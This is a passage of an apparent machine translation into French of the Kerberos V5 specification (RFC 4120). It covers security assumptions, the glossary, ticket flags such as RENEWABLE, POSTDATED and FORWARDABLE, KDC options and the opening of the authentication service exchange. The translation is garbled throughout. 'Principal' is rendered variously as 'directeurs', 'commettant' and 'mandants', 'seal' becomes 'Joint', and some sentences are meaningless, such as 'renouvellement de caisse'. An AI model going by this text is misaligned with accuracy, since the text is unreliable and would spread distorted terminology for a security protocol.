* Les directeurs doivent garder leurs clés secrètes. Si un intrus

en quelque sorte vole la clé d'un principal, il sera en mesure de se
faire passer pour
ce principal ou d'usurper l'identité d'un serveur à la légitime
principal.

* Les attaques de "détection de mot de passe" ne sont pas résolues par

Kerberos. Si un utilisateur
choisit un mot de passe faible, il est possible pour un attaquant de
monter avec succès une attaque de dictionnaire hors ligne par à
plusieurs reprises
tenter de décrypter, avec des entrées successives d'un dictionnaire,
les messages obtenus qui sont cryptés sous une clé dérivée de la
mot de passe de l'utilisateur.

* Chaque hôte du réseau DOIT avoir une horloge qui est "vaguement
synchronisé "à l'heure des autres hôtes; cette synchronisation
est utilisé pour réduire les besoins en comptabilité des serveurs
d'applications
quand ils rejouent la détection. Le degré de "relâchement" peut être
configuré sur une base par serveur, mais il est généralement sur la
commande
de 5 minutes. Si les horloges sont synchronisées sur le réseau,
le protocole de synchronisation d'horloge DOIT lui-même être sécurisé
de
attaquants de réseau.

* Les identifiants principaux ne sont pas recyclés à court terme. UNE

mode typique de contrôle d'accès utilisera des listes de contrôle
d'accès
 (ACL) pour accorder des autorisations à des mandants particuliers. Si
un fade
L'entrée ACL reste pour un principal supprimé et le principal
identifiant est réutilisé, le nouveau principal héritera des droits
spécifié dans l'entrée de liste de contrôle d'accès périmée. En ne
réutilisant pas le principal
identificateurs, le danger d'un accès par inadvertance est supprimé.

1.7. Glossaire des termes

Vous trouverez ci-dessous une liste de termes utilisés dans ce document.

Authentification
Vérification de l'identité revendiquée d'un commettant.

En-tête d'authentification
Un enregistrement contenant un ticket et un authentifiant à présenter
à un serveur dans le cadre du processus d'authentification.

Neuman et al. La voie des normes [Page 13]

RFC 4120 Kerberos V5 juillet 2005

Chemin d'authentification
Une séquence de domaines intermédiaires transitant dans
l'authentification
processus lors de la communication d'un royaume à un autre.

Authentificateur
Un enregistrement contenant des informations qui peuvent être
démontrées
récemment généré à l'aide de la clé de session connue uniquement par
le client
et serveur.

Autorisation
Le processus visant à déterminer si un client peut utiliser un
service,
les objets auxquels le client est autorisé à accéder, et le type de
accès autorisé pour chacun.

Aptitude
Un jeton qui accorde au porteur la permission d'accéder à un objet ou
un service. Dans Kerberos, il peut s’agir d’un ticket dont
l’utilisation est
restreint par le contenu du champ de données d'autorisation, mais
qui ne répertorie aucune adresse réseau, ainsi que la clé de session
nécessaire d'utiliser le billet.

Texte chiffré
La sortie d'une fonction de cryptage. Le cryptage se transforme
texte clair en texte chiffré.

Client
Processus utilisant un service réseau pour le compte d'un
utilisateur.
 Notez que dans certains cas, un serveur peut être lui-même un client
de
autre serveur (par exemple, un serveur d'impression peut être un
client d'un fichier
serveur).

Lettres de créance
Un ticket plus la clé de session secrète nécessaire pour utiliser ce
ticket
avec succès dans un échange d'authentification.

Type de cryptage (etype)

Lorsqu'il est associé à des données cryptées, un type de cryptage
identifie
l'algorithme utilisé pour chiffrer les données et est utilisé pour
sélectionner le
algorithme approprié pour décrypter les données. Type de chiffrement
les balises sont communiquées dans d'autres messages pour énumérer
des algorithmes
qui sont souhaités, pris en charge, préférés ou autorisés à être
utilisés pour
cryptage des données entre les parties. Cette préférence est combinée
avec des informations locales et la politique pour sélectionner un
algorithme à être
utilisé.

KDC
Centre de distribution de clés. Un service réseau qui fournit des
tickets
et clés de session temporaires; ou une instance de ce service ou le

Neuman et al. Normes Track [Page 14]

RFC 4120 Kerberos V5 juillet 2005

hôte sur lequel il s'exécute. Le KDC dessert à la fois le ticket

initial et
demandes de tickets d'octroi de tickets. La portion initiale du
billet est
parfois appelé serveur d’authentification (ou service).
La partie du ticket d’octroi de ticket est parfois appelée le
serveur (ou service) d'octroi de tickets.

Kerberos
Le nom donné au service d’authentification du projet Athena, le
protocole utilisé par ce service, ou le code utilisé pour mettre en
œuvre le
service d'authentification. Le nom est adopté du tricéphale
chien qui garde Hadès.

Numéro de version de clé (kvno)

Une balise associée à des données chiffrées identifie la clé utilisée
pour le cryptage quand une clé de longue durée associée à un
principal
change avec le temps. Il est utilisé lors de la transition vers une
nouvelle clé
de sorte que la partie qui déchiffre un message puisse dire si les
données
 a été crypté avec l'ancienne ou la nouvelle clé.

Texte en clair
L'entrée dans une fonction de chiffrement ou la sortie d'un
déchiffrement
une fonction. Le déchiffrement transforme le texte chiffré en texte
en clair.

Principal
Une entité client ou serveur nommée qui participe à un réseau
communication, avec un nom considéré comme canonique.

Identifiant principal
Le nom canonique utilisé pour identifier chaque principal différent
uniquement.

Joint
Pour chiffrer un enregistrement contenant plusieurs champs de telle
sorte que
les champs ne peuvent pas être remplacés individuellement sans
connaissance
la clé de cryptage ou laissant des preuves de falsification.

Clef secrète
Une clé de chiffrement partagée par un principal et le KDC,
distribuée
en dehors des limites du système, avec une longue durée de vie. dans
le
Dans le cas du principal d'un utilisateur humain, la clé secrète PEUT
être dérivée
à partir d'un mot de passe.

Serveur
Un principal particulier qui fournit une ressource au réseau
les clients. Le serveur est parfois appelé l'application.
Serveur.

Neuman et al. Normes Track [Page 15]

RFC 4120 Kerberos V5 juillet 2005

Un service
Une ressource fournie aux clients du réseau; souvent fourni par plus
serveur (par exemple, service de fichiers distant).

Clé de session
Une clé de chiffrement temporaire utilisée entre deux donneurs
d’ordre, avec un
durée de vie limitée à la durée d'une seule session "session". Dans
système Kerberos, une clé de session est générée par le KDC. le
La clé de session est distincte de la clé de sous-session, décrite
ci-après.

Clé de sous-session
Une clé de cryptage temporaire utilisée entre deux mandants,
sélectionnée
 et échangés par les mandants à l’aide de la clé de session et avec un
durée de vie limitée à la durée d'une seule association. le
La clé de sous-session est également appelée la sous-clé.

Billet
Enregistrement qui aide un client à s’authentifier auprès d’un
serveur; il
contient l'identité du client, une clé de session, un horodatage et
d'autres informations, toutes scellées à l'aide de la clé secrète du
serveur. Il
sert uniquement à authentifier un client lorsqu'il est présenté avec
un
Authenticator frais.

2. Utilisations et demandes de fanions de billets

Chaque ticket Kerberos contient un ensemble d’indicateurs utilisés pour

indiquer les attributs de ce ticket. La plupart des drapeaux peuvent
être demandés par un
client lorsque le ticket est obtenu; certains sont automatiquement
allumés
et désactivé par un serveur Kerberos selon les besoins. Les sections
suivantes
expliquer la signification des différents drapeaux et donner des
exemples de raisons
Utilise les. À l'exception de l'indicateur INVALID, les clients DOIVENT
ignorer les indicateurs de ticket qui ne sont pas reconnus. Les KDC
DOIVENT ignorer le KDC
options non reconnues. Quelques implémentations de la RFC 1510
sont connus pour rejeter les options KDC inconnues, de sorte que les
clients peuvent avoir besoin de
renvoyer une demande sans nouvelles options KDC si la demande était
rejetée
lorsqu’il est envoyé avec des options ajoutées depuis la RFC 1510. Parce
que les nouveaux KDC vont
ignorer les options inconnues, les clients DOIVENT confirmer que le
ticket a été renvoyé
par le KDC répond à leurs besoins.

Notez qu’il n’est généralement pas possible de déterminer si un

L’option n’a pas été retenue parce qu’elle n’a pas été comprise ou parce
a été rejetée via la configuration ou la stratégie. Lors de l'ajout d'un
nouvelle option du protocole Kerberos, les concepteurs doivent envisager
si la distinction est importante pour leur option. Si c'est le cas, un
mécanisme permettant au KDC de renvoyer une indication selon laquelle
l'option était
compris mais rejeté doit être fourni dans la spécification de
l'option. Souvent, dans de tels cas, le mécanisme doit être large
assez pour permettre qu'une erreur ou une raison soit renvoyée.

Neuman et al. Norme Track [Page 16]

RFC 4120 Kerberos V5 juillet 2005

2.1. Billets initiaux, pré-authentifiés et authentifiés par le matériel

L'indicateur INITIAL indique qu'un ticket a été émis à l'aide de l'AS.

 protocole, plutôt que publié sur la base d'un TGT. Serveurs
d'application
qui veulent exiger la connaissance démontrée du secret d'un client
clé (par exemple, un programme de changement de mot de passe) peut
insister pour que cet indicateur soit
dans les billets qu’ils acceptent et peuvent donc être assurés que le
la clé du client a récemment été présentée au serveur
d'authentification.

Les drapeaux PRE-AUTHENT et HW-AUTHENT fournissent des informations

supplémentaires.
à propos de l'authentification initiale, indépendamment du fait que le
courant
le ticket a été émis directement (auquel cas INITIAL sera également
défini)
ou émis sur la base d’un TGT (auquel cas le drapeau INITIAL est
clair, mais les drapeaux PRE-AUTHENT et HW-AUTHENT sont reportés
du TGT).

2.2. Billets invalides

L'indicateur INVALID indique qu'un ticket n'est pas valide. Application

les serveurs DOIVENT rejeter les tickets pour lesquels cet indicateur
est défini. Postdaté
Le billet sera émis sous cette forme. Les billets invalides doivent être
validé par le KDC avant utilisation, en étant présenté au KDC sous forme
de
Demande TGS avec l'option VALIDATE spécifiée. Le KDC ne fera que
valider les tickets après leur heure de début. La validation est
nécessaire pour que les billets postdatés volés avant leur départ
starttime peut être rendu définitivement invalide (via une hot-liste
mécanisme) (voir la section 3.3.3.1).

2.3. Billets renouvelables

Les applications peuvent souhaiter détenir des billets pouvant être

valables longtemps
périodes. Cependant, cela peut exposer leurs informations
d'identification à
vol potentiel pour des périodes également longues, et ceux volés
les informations d’identité seraient valables jusqu’à l’expiration du
délai
des billets). Utiliser simplement des billets de courte durée et en
obtenir de nouveaux
périodiquement obligerait le client à avoir un accès à long terme à ses
clé secrète, un risque encore plus grand. Les billets renouvelables
peuvent être utilisés pour
atténuer les conséquences du vol. Billets renouvelables ont deux
"délais d'expiration": le premier est le moment où l'instance actuelle
du
ticket expire, et le second est la dernière valeur autorisée pour un
heure d'expiration individuelle. Un client d'application doit
périodiquement
(c’est-à-dire avant son expiration) présente un ticket renouvelable au
KDC, avec
l'option RENEW définie dans la demande KDC. Le KDC publiera un nouveau
ticket avec une nouvelle clé de session et une heure d'expiration
ultérieure. Tous les autres
les champs du ticket ne sont pas modifiés par le processus de
renouvellement.
Lorsque le dernier délai d’expiration autorisé est atteint, le ticket
 expire en permanence. À chaque renouvellement, le KDC PEUT consulter une
hot-liste
déterminer si le billet avait été signalé volé depuis son

Neuman et al. La voie des normes [Page 17]

RFC 4120 Kerberos V5 juillet 2005

dernier renouvellement; il refusera de renouveler les billets volés, et

donc le
durée de vie utilisable des billets volés est réduite.

L'indicateur RENOUVELABLE dans un ticket est normalement uniquement

interprété par le
service de distribution de billets (voir section 3.3 ci-dessous). Ça
peut
être généralement ignorés par les serveurs d'applications. Cependant,
certains
les serveurs d'applications particulièrement attentifs PEUVENT refuser
les énergies renouvelables
des billets.

Si un ticket renouvelable n’est pas renouvelé à son heure d’expiration,

le KDC
ne renouvellera pas le billet. L'indicateur RENOUVELABLE est
réinitialisé par défaut,
mais un client PEUT le demander en définissant l'option RENOUVELABLE
dans
le message KRB_AS_REQ. Si elle est définie, le champ de renouvellement
de la main dans
le ticket contient le temps après lequel le ticket ne peut plus être
renouvelé.

2.4. Billets postdatés

Les applications peuvent parfois avoir besoin d'obtenir des billets pour
une utilisation beaucoup
plus tard; par exemple, un système de soumission par lots aurait besoin
de tickets pour être valides
au moment où le travail par lots est traité. Cependant, il est dangereux
de
conserver des tickets valides dans une file d'attente, car ils seront en
ligne
plus long et plus enclin au vol. Les billets postdatés fournissent un
moyen de
obtenir ces billets du KDC au moment de la soumission des tâches, mais
laissez-les "dormants" jusqu'à ce qu'ils soient activés et validés par
un
nouvelle demande du KDC. Si un vol de billets a été signalé dans le
intérimaire, le KDC refuserait de valider le billet et le voleur
serait déjoué.

L’indicateur MAY-POSTDATE dans un ticket n’est normalement interprété

que par le
service de distribution de billets. Il peut être ignoré par les serveurs
d'applications.
Cet indicateur DOIT être placé dans un TGT pour pouvoir émettre un
ticket postdaté
 basé sur le billet présenté. Il est réinitialisé par défaut. un client
PEUT
demandez-le en définissant l'option ALLOW-POSTDATE dans KRB_AS_REQ
message. Cet indicateur ne permet pas à un client d’obtenir une version
postdatée
TGT; les TGT postdatés ne peuvent être obtenus qu'en demandant le
postdatage
dans le message KRB_AS_REQ. La vie (endtime-starttime) d'un
ticket postdaté sera la durée de vie restante du TGT au moment de
la demande, sauf si l'option RENOUVELABLE est également définie, auquel
cas
il peut s'agir de la vie entière (heure de début et de fin) du TGT. Le
KDC peut
limiter la distance à laquelle un billet peut être postdaté.

L'indicateur POSTDATED indique qu'un ticket a été postdaté. le

le serveur d’application peut vérifier le champ authtime du ticket pour
voir
lorsque l'authentification d'origine a eu lieu. Certains services
PEUVENT choisir
refuser les billets postdatés ou ne peuvent les accepter que dans un
délai
certaine période après l'authentification d'origine. Quand le KDC
émet un ticket POSTDATED, il sera également marqué comme INVALID, de
sorte que

Neuman et al. La voie des normes [Page 18]

RFC 4120 Kerberos V5 juillet 2005

le client de l'application DOIT présenter le ticket au KDC pour être

validé avant utilisation.

2.5. Billets Proxiables et Proxy

Parfois, un principal obligé peut permettre à un service de

effectuer une opération en son nom. Le service doit pouvoir prendre
sur l'identité du client, mais uniquement dans un but particulier. UNE
principal peut autoriser un service à le faire en lui attribuant un
proxy.

Le processus d'octroi d'une procuration à l'aide de la procuration et du

mandataire
flags est utilisé pour fournir des informations d'identification à
utiliser avec des services spécifiques.
Bien que conceptuellement, il s’agisse également d’un proxy, les
utilisateurs souhaitant déléguer leur
l'identité sous une forme utilisable à toutes fins DOIT utiliser le
billet
mécanisme de transfert décrit dans la section suivante pour transférer
un TGT.

L’indicateur PROXIABLE dans un ticket n’est normalement interprété que

par le
service de distribution de billets. Il peut être ignoré par les serveurs
d'applications.
Lorsqu'il est défini, cet indicateur indique au serveur fournisseur de
tickets qu'il est OK pour
 émettre un nouveau ticket (mais pas un TGT) avec une adresse réseau
différente
basé sur ce billet. Cet indicateur est défini si demandé par le client
le
authentification initiale. Par défaut, le client demande à ce qu'il
être défini lors de la demande d'un TGT, et qu'il soit réinitialisé lors
de la demande
tout autre billet.

Cet indicateur permet à un client de transmettre un proxy à un serveur

pour effectuer une
demande à distance en son nom (par exemple, un client du service
d'impression peut donner
le serveur d'impression un proxy pour accéder aux fichiers du client sur
un point particulier
serveur de fichiers afin de satisfaire une demande d'impression).

Afin de compliquer l'utilisation des informations d'identification

volées, Kerberos
les billets sont souvent valables uniquement à partir de ces adresses
réseau
spécifiquement inclus dans le billet, mais il est autorisé en tant que
option de politique pour autoriser les demandes et émettre des tickets
sans réseau
adresses spécifiées. En accordant un proxy, le client DOIT spécifier
la nouvelle adresse réseau à partir de laquelle le proxy doit être
utilisé ou
indiquer que la procuration doit être émise pour être utilisée à partir
de n’importe quelle adresse.

L’indicateur PROXY est défini dans un ticket par le TGS lorsqu’il émet
un proxy
billet. Les serveurs d'applications PEUVENT cocher cet indicateur. et à
leur choix
ils PEUVENT exiger une authentification supplémentaire de la part de
l'agent
le proxy afin de fournir une piste d'audit.

2.6 Billets transférables

Le transfert d’authentification est une instance d’un proxy où le

service
cela est accordé est l'utilisation complète de l'identité du client. Un
exemple
il peut être utilisé lorsqu'un utilisateur se connecte à un système
distant

Neuman et al. La voie des normes [page 19]

RFC 4120 Kerberos V5 juillet 2005

et veut que l'authentification fonctionne à partir de ce système comme

si la connexion
étaient locaux.

L’indicateur FORWARDABLE dans un ticket n’est normalement interprété que

par le
 service de distribution de billets. Il peut être ignoré par les serveurs
d'applications.
Le drapeau FORWARDABLE a une interprétation similaire à celle du drapeau
Indicateur PROXIABLE, sauf que les TGT peuvent également être émis avec
un réseau différent
adresses. Cet indicateur est réinitialisé par défaut, mais les
utilisateurs PEUVENT demander à
être défini en définissant l'option FORWARDABLE dans la demande AS
lorsque
ils demandent leur TGT initial.

Cet indicateur permet le transfert d’authentification sans nécessiter la

l’utilisateur de saisir à nouveau un mot de passe. Si le drapeau n'est
pas défini, alors
le transfert d'authentification n'est pas autorisé, mais le même
résultat peut
être atteint si l’utilisateur s’engage dans l’échange AS, précise
les adresses réseau demandées et fournit un mot de passe.

L'indicateur FORWARDED est défini par le TGS lorsqu'un client présente

un ticket.
avec le drapeau FORWARDABLE activé et demande un ticket transféré par
spécifiant l'option FORWARDED KDC et fournissant un ensemble d'adresses
pour le nouveau billet. Il est également défini dans tous les billets
émis sur la base de
billets avec le drapeau FORWARDED. Les serveurs d'applications peuvent
choisir
traiter les tickets FORWARDED différemment des tickets non FORWARDED.

Si les tickets sans adresse sont transférés d’un système à un autre,

les clients DEVRAIENT toujours utiliser cette option pour obtenir un
nouveau TGT afin de
avoir différentes clés de session sur les différents systèmes.

2.7 Vérification de la politique en transit

Dans Kerberos, le serveur d’application est finalement responsable de

accepter ou rejeter l'authentification, et il DEVRAIT vérifier que seul
Des KDC de confiance appropriés sont utilisés pour authentifier un
principal.
Le champ transité dans le ticket identifie les domaines (et donc
KDC) ont été impliqués dans le processus d’authentification, et une
Le serveur d'applications devrait normalement vérifier ce champ. Si l'un
de ces
ne sont pas fiables pour authentifier le principal du client indiqué
(probablement déterminé par une politique basée sur le domaine),
l’authentification
La tentative DOIT être rejetée. La présence de KDC de confiance dans
cette liste
ne fournit aucune garantie; un KDC non approuvé peut avoir fabriqué
la liste.

Bien que le serveur final décide finalement si l’authentification est

valide, le KDC du domaine du serveur final PEUT appliquer une règle
spécifique au domaine.
stratégie pour valider le champ transité et accepter les informations
d'identification
pour l'authentification inter-domaines. Lorsque le KDC applique de tels
contrôles et
accepte cette authentification inter-domaines, il définira la
TRANSITED-POLICY-CHECKED dans les tickets de service émis en fonction
Neuman et al. La voie des normes [Page 20]

RFC 4120 Kerberos V5 juillet 2005

sur le TGT inter-domaine. Un client PEUT demander que les KDC ne

vérifient pas
le champ en transit en activant le drapeau DISABLE-TRANSITED-CHECK.
Les KDC sont encouragés mais pas obligés d'honorer ce drapeau.

Les serveurs d’application DOIVENT soit faire les vérifications de

domaine transité
eux-mêmes ou rejeter des billets cross-royaume sans
Ensemble TRANSITED-POLICY-CHECKED.

2.8. OK en tant que délégué

Pour certaines applications, un client peut avoir besoin de déléguer des

pouvoirs à un
serveur pour agir en son nom en contactant d’autres services. Ce
exige que le client transmette les informations d'identification à un
intermédiaire
serveur. La possibilité pour un client d’obtenir un ticket de service
pour un
serveur ne transmet au client aucune information indiquant si le serveur
doit être approuvé pour accepter les informations d'identification
déléguées. le
OK-AS-DELEGATE fournit à un KDC un moyen de communiquer avec le royaume
local
la politique à un client quant à savoir si un serveur intermédiaire est
confiance pour accepter de telles informations d'identification.

La copie des balises de ticket dans la partie chiffrée de la réponse du

KDC
l’indicateur OK-AS-DELEGATE peut être défini pour indiquer au client que
le serveur spécifié dans le ticket a été déterminé par la stratégie
du royaume à être un destinataire approprié de la délégation. Un client
peut
utiliser la présence de ce drapeau pour l'aider à décider de déléguer ou
non
informations d’authentification (attribuez un proxy ou un TGT transféré)
à ce serveur.
Il est acceptable d’ignorer la valeur de ce drapeau. Lors du réglage de
cette
drapeau, un administrateur doit tenir compte de la sécurité et du
placement des
le serveur sur lequel le service sera exécuté, ainsi que le fait que le
le service nécessite l'utilisation d'informations d'identification
déléguées.

2.9 Autres options KDC

Il y a trois options supplémentaires qui PEUVENT être définies dans les

paramètres d'un client.
demande du KDC.

2.9.1. Renouvelable-OK
 L'option RENOUVELABLE-OK indique que le client acceptera une
billet renouvelable si un billet avec la durée de vie demandée ne peut
pas autrement
fournir. Si un ticket avec la durée de vie demandée ne peut être fourni,
alors le KDC PEUT émettre un ticket renouvelable avec un renouvellement
de caisse égal à
l'heure de fin demandée. La valeur du champ de renouvellement-till PEUT
encore
être ajusté par des limites déterminées par le site ou imposées par le
principal ou serveur individuel.

Neuman et al. La voie des normes [Page 21]

RFC 4120 Kerberos V5 juillet 2005

2.9.2. ENC-TKT-IN-SKEY

Dans sa forme de base, le protocole Kerberos prend en charge

l’authentification dans un environnement
client-serveur et ne convient pas à l’authentification dans un
environnement
environnement peer-to-peer car la clé à long terme de l'utilisateur ne
ne pas rester sur le poste de travail après la première connexion.
Authentification de
Ces homologues peuvent être pris en charge par Kerberos dans sa variante
utilisateur à utilisateur.
L’option ENC-TKT-IN-SKEY prend en charge l’authentification
d’utilisateur à utilisateur en:
permettant au KDC d'émettre un ticket de service crypté à l'aide du
clé de session d'un autre TGT délivré à un autre utilisateur. le
L'option ENC-TKT-IN-SKEY n'est honorée que par l'attribution de tickets
un service. Il indique que le ticket à émettre pour la fin
le serveur doit être chiffré dans la clé de session à partir de la
deuxième TGT fourni avec la demande. Voir la section 3.3.3 pour des
informations spécifiques.
détails.

2.9.3. Authentification matérielle sans mot de passe

L'option OPT-HARDWARE-AUTH indique que le client souhaite utiliser

une forme d'authentification matérielle à la place ou en plus de la
mot de passe du client ou autre clé de chiffrement de longue durée.
OPT-HARDWARE-AUTH n'est honoré que par le service d'authentification. Si
pris en charge et autorisé par la stratégie, le KDC renverra un code
d'erreur de
KDC_ERR_PREAUTH_REQUIRED et inclure les données METHOD-DATA requises
pour
effectuer une telle authentification.

3. Échanges de messages

Les sections suivantes décrivent les interactions entre réseaux

les clients et les serveurs et les messages impliqués dans ces échanges.

3.1. L'échange de service d'authentification

 Résumé

Direction du message Type de message Section

1. Client vers Kerberos KRB_AS_REQ 5.4.1
2. Kerberos au client KRB_AS_REP ou 5.4.2
KRB_ERROR 5.9.1

L’échange de service d’authentification (AS) entre le client et le

Le serveur d'authentification Kerberos est lancé par un client lorsqu'il
souhaite obtenir des informations d'authentification pour un serveur
donné mais
ne détient actuellement aucun identifiant. Dans sa forme de base, le
client
La clé secrète est utilisée pour le cryptage et le décryptage. Cet
échange est
généralement utilisé au début d'une session de connexion pour obtenir
informations d’authentification pour un serveur octroyant des tickets,
qui seront ensuite
utilisé pour obtenir les informations d'identification d'autres serveurs
(voir la section 3.3)

Neuman et al. Norme Track [Page 22]

RFC 4120 Kerberos V5 juillet 2005

sans nécessiter l'utilisation ultérieure de la clé secrète du client. Ce

Exchange est également utilisé pour demander des informations
d'identification pour des services qui doivent
ne pas faire l'objet d'une médiation par le biais du service
d'attribution de billets, mais plutôt
nécessite la connaissance de la clé secrète du commettant, telle que le
mot de passe
changement de service (le service de changement de mot de passe refuse
les demandes)
à moins que le demandeur puisse démontrer sa connaissance de l'ancien
mot de passe; nécessitant cette connaissance empêche tout mot de passe
non autorisé
changements par quelqu'un qui se dirige vers une session sans
surveillance).

Cet échange ne fournit pas en soi une assurance de la

identité de l'utilisateur. Pour authentifier un utilisateur se
connectant à un serveur local
système, les identifiants obtenus dans l’échange AS peuvent d’abord être
utilisés
dans un échange TGS pour obtenir les informations d'identification d'un
serveur local; ceux
les identifiants doivent ensuite être vérifiés par un serveur local via
réussite de l’échange client / serveur.

L'échange AS se compose de deux messages: KRB_AS_REQ du client

à Kerberos, et KRB_AS_REP ou KRB_ERROR en réponse. Les formats pour
ces messages sont décrits dans les sections 5.4.1, 5.4.2 et 5.9.1.

Dans la requête, le client envoie (en texte clair) sa propre identité et

l'identité du serveur pour lequel il demande des informations
d'identification,
 autres informations sur les informations d'identification demandées, et
un
nonce généré aléatoirement, qui peut être utilisé pour détecter des
replays et pour
associer les réponses aux demandes correspondantes. Ce nonce DOIT être
généré aléatoirement par le client et mémorisé pour vérification contre
le nonce dans la réponse attendue. La réponse, KRB_AS_REP, contient
un ticket que le client doit présenter au serveur et une clé de session
qui sera partagé par le client et le serveur. La clé de session
et des informations supplémentaires sont cryptées dans la clé secrète du
client.
La partie chiffrée du message KRB_AS_REP contient également le nonce
qui DOIT être mis en correspondance avec le nonce du message KRB_AS_REQ.

Sans pré-authentification, le serveur d'authentification ne sait pas

si le client est réellement le principal nommé dans la demande.
Il envoie simplement une réponse sans savoir ni se soucier de savoir si
elles sont
le même. C’est acceptable parce que personne d’autre que le principal
dont
identité a été donnée dans la demande sera en mesure d'utiliser la
réponse. Ses
les informations critiques sont cryptées dans la clé de ce principal.
cependant,
un attaquant peut envoyer un message KRB_AS_REQ afin d'obtenir du texte
brut connu dans
afin d'attaquer la clé du principal. Surtout si la clé est basée
sur un mot de passe, cela peut créer une exposition à la sécurité. Donc
l'initiale
request prend en charge un champ facultatif pouvant être utilisé pour
passer
informations supplémentaires qui pourraient être nécessaires pour
l'échange initial.
Ce champ DEVRAIT être utilisé pour la pré-authentification comme décrit
dans
sections 3.1.1 et 5.2.7.

Neuman et al. La voie des normes [Page 23]

RFC 4120 Kerberos V5 juillet 2005

Diverses erreurs peuvent survenir. ceux-ci sont indiqués par une réponse
d'erreur
(KRB_ERROR) au lieu de la réponse KRB_AS_REP. Le message d'erreur est
non crypté. Le message KRB_ERROR contient des informations pouvant
être utilisé pour l'associer au message auquel il répond. le
le contenu du message KRB_ERROR n'est pas protégé en intégrité. Comme
En tant que tel, le client ne peut pas détecter les replays,
fabrications ou
modifications. Une solution à ce problème sera incluse dans un
future version du protocole.

3.1.1. Génération du message KRB_AS_REQ

Le client peut spécifier un certain nombre d'options dans la demande

initiale.
 Parmi ces options figurent si la pré-authentification doit être
effectué; si le billet demandé doit être renouvelable,
proxyable ou transférable; si elle devrait être postdatée ou permettre
postdatage des billets dérivés; et si un billet renouvelable sera
être accepté à la place d'un billet non renouvelable si le billet
demandé
date d'expiration ne peut pas être satisfaite par un billet non
renouvelable (en raison de
contraintes de configuration).

Le client prépare le message KRB_AS_REQ et l'envoie au KDC.

3.1.2. Réception du message KRB_AS_REQ

Si tout se passe bien, le traitement du message KRB_AS_REQ se traduira

par
la création d'un ticket à présenter par le client au serveur.
Le format du ticket est décrit à la section 5.3.

Comme Kerberos peut exécuter des transports non fiables tels que UDP, le
Le KDC DOIT être prêt à retransmettre les réponses au cas où elles
seraient perdues.
Si un KDC reçoit une demande identique à celle qu'il a reçue récemment
traité avec succès, le KDC DOIT répondre avec un KRB_AS_REP
message plutôt qu'une erreur de relecture. Afin de réduire le
cryptogramme
donné à un attaquant potentiel, les KDC PEUVENT envoyer la même réponse
généré lors du premier traitement de la demande. Les KDC DOIVENT obéir
comportement de rejeu même si le transport utilisé est fiable.

3.1.3. Génération du message KRB_AS_REP

Le serveur d'authentification recherche les principaux client et serveur

nommés dans le KRB_AS_REQ dans sa base de données, en extrayant leurs
noms respectifs
clés. Si le principal demandé du client nommé dans la demande est
inconnu car il n'existe pas dans la base de données principale du KDC,
puis un message d'erreur avec un KDC_ERR_C_PRINCIPAL_UNKNOWN est
renvoyé.

Si cela est nécessaire, le serveur pré-authentifie la demande et

si le contrôle de pré-authentification échoue, un message d'erreur avec
le code
KDC_ERR_PREAUTH_FAILED est renvoyé. Si la pré-authentification est

Neuman et al. La voie des normes [Page 24]

RFC 4120 Kerberos V5 juillet 2005

requis, mais n'était pas présent dans la demande, un message d'erreur

avec
le code KDC_ERR_PREAUTH_REQUIRED est renvoyé et une METHOD-DATA
l'objet sera stocké dans le champ e-data du message KRB-ERROR pour
spécifier les mécanismes de pré-authentification acceptables.
habituellement
cela inclura les éléments PA-ETYPE-INFO et / ou PA-ETYPE-INFO2 comme
décrit ci-dessous. Si le serveur ne peut accepter aucun chiffrement
type demandé par le client, un message d'erreur avec code
 KDC_ERR_ETYPE_NOSUPP est renvoyé. Sinon, le KDC génère une
clé de session 'aléatoire', ce qui signifie, entre autres choses,
qu'elle devrait être
impossible de deviner la clé de session suivante basée sur la
connaissance du passé
clés de session. Bien que cela puisse être réalisé de manière pseudo-
aléatoire
générateur de nombres s’il est basé sur des principes cryptographiques,
il est
plus souhaitable d'utiliser un générateur de nombres véritablement
aléatoires, tel qu'un
basé sur des mesures de phénomènes physiques aléatoires. Voir [RFC4086]
pour une discussion approfondie sur le hasard.

En réponse à une demande AS, s'il existe plusieurs clés de chiffrement

inscrit pour un client dans la base de données Kerberos, puis le etype
Le champ de la requête AS est utilisé par le KDC pour sélectionner le
cryptage
méthode à utiliser pour protéger la partie chiffrée de KRB_AS_REP
message envoyé au client. S'il y a plus d'un
type de chiffrement fort pris en charge dans la liste etype, le KDC
DEVRAIT
utiliser le premier type fort valable pour lequel une clé de chiffrement
est
disponible.

Lorsque la clé de l'utilisateur est générée à partir d'un mot de passe

ou d'une phrase secrète, le
fonction chaîne à clé pour le type de clé de cryptage particulier est
utilisé, comme spécifié dans la [RFC3961]. La valeur de sel et
supplémentaire
les paramètres de la fonction string-to-key ont des valeurs par défaut
(spécifié par la section 4 et par le mécanisme de cryptage
spécification, respectivement) qui peuvent être remplacés par
données de pré-authentification (PA-PW-SALT, PA-AFS3-SALT, PA-ETYPE-
INFO,
PA-ETYPE-INFO2, etc.). Le KDC étant censé conserver une copie de
la clé résultante uniquement, ces valeurs ne doivent pas être modifiées
pour
clés basées sur un mot de passe, sauf lors du changement de la clé du
principal.

Lorsque le serveur AS doit inclure des données de pré-authentification

dans une
KRB-ERROR ou dans un AS-REP, il DOIT utiliser PA-ETYPE-INFO2, pas PA-
ETYPE-
INFO, si le champ etype de l'AS-REQ du client contient au moins un
"plus récent" type de cryptage. Sinon (lorsque le champ etype du champ
AS-REQ du client ne répertorie aucun type de chiffrement "plus récent"),
il DOIT
envoyer à la fois PA-ETYPE-INFO2 et PA-ETYPE-INFO (les deux avec une
entrée pour
chaque enctype). Un enctype "récent" est un enctype d'abord
officiellement
spécifiés simultanément ou postérieurement à la publication de la
présente RFC.
Les enctypes DES, 3DES ou RC4 et ceux définis dans la [RFC1510] ne sont
pas
"plus récents" enctypes.
Neuman et al. Voie des normes [Page 25]

RFC 4120 Kerberos V5 juillet 2005

Il n'est pas possible de générer de manière fiable la clé d'un

utilisateur à l'aide d'un laissez-passer.
phrase sans contacter le KDC, car on ne saura pas si
d'autres valeurs de sel ou de paramètre sont requises.

Le KDC tentera d’affecter le type de clé de session aléatoire

à partir de la liste des méthodes dans le champ etype. Le KDC
sélectionnera le
type approprié en utilisant la liste des méthodes fournies et des
informations
depuis la base de données Kerberos indiquant les méthodes de chiffrement
acceptables
pour le serveur d'applications. Le KDC n'émettra pas de billets avec un
type de cryptage de clé de session faible.

Si l'heure de début demandée est absente, indique une heure passée,

ou est dans la fenêtre de décalage d'horloge acceptable pour le KDC et
le
L’option POSTDATE n’a pas été spécifiée, puis l’heure de début de la
ticket est défini sur l'heure actuelle du serveur d'authentification. Si
ça
